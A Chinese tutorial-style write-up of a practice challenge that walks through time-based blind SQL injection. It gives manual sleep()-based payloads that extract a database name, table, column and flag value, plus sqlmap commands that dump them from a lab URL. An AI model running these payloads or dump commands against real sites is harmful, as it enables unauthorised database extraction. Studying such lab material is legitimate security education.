一次手工和工具的延时注入(时间注入)

延时注入的原理

适用于,无法回现和无法显示错误页面的场景

##利用函数sleep()让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息
1,判断当前库名的长度
and if (length(database())=8,0,sleep(5))#0
结果=8时网页没睡眠,可以判断当前库名有8个字符
一次手工和工具的延时注入(时间注入)_第1张图片
2,猜库名
and if (ascii(substr(database(),1,1))=115,0,sleep(5))

结果=115时网页没睡眠,可以判断库名第一个字符对应的ascii码为115 字符为s
一次手工和工具的延时注入(时间注入)_第2张图片
判断第二个字符
and if(ascii(substr(database(),2,1))=101,0,sleep(15))
一次手工和工具的延时注入(时间注入)_第3张图片
执行到最后得出全部字符为security,也就是当前库名
第二个字符ascii等于101 字符为e
3,猜表名
and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,0,sleep(5))
一次手工和工具的延时注入(时间注入)_第4张图片
security的第一张表的第一个字符ascii为101,为字符e
4.手工注入知道了库名,用SQLmap辅助操作查出表名
命令为:sqlmap.dy -u “url” --tables -D “security”
一次手工和工具的延时注入(时间注入)_第5张图片
5.知道表名了,查我们想要的表的字段
手工语句:and if((select ascii(substr((select column_name from information_schema.columns where table_name="zKaq"limit 0,1),1,1)))=101,0,sleep(5))

sqlmap命令为sqlmap.dy -u “url” --columns -T “zKaq”
在这里插入图片描述
6.查字段内容
手工语句:and if((select ascii(substr((select zKaQ from zKaq WHERE flag=“10”),1,1)))=101,0,sleep(5))
一次手工和工具的延时注入(时间注入)_第6张图片

sqlmap工具命令:sqlmap.py -u"http://120.203.13.75:8150/New/TimeBased/RankOne/sql-one/?id=1" --dump -T “zKaq” -C “flag”,
一次手工和工具的延时注入(时间注入)_第7张图片
找到flag,本题完成

你可能感兴趣的:(注入)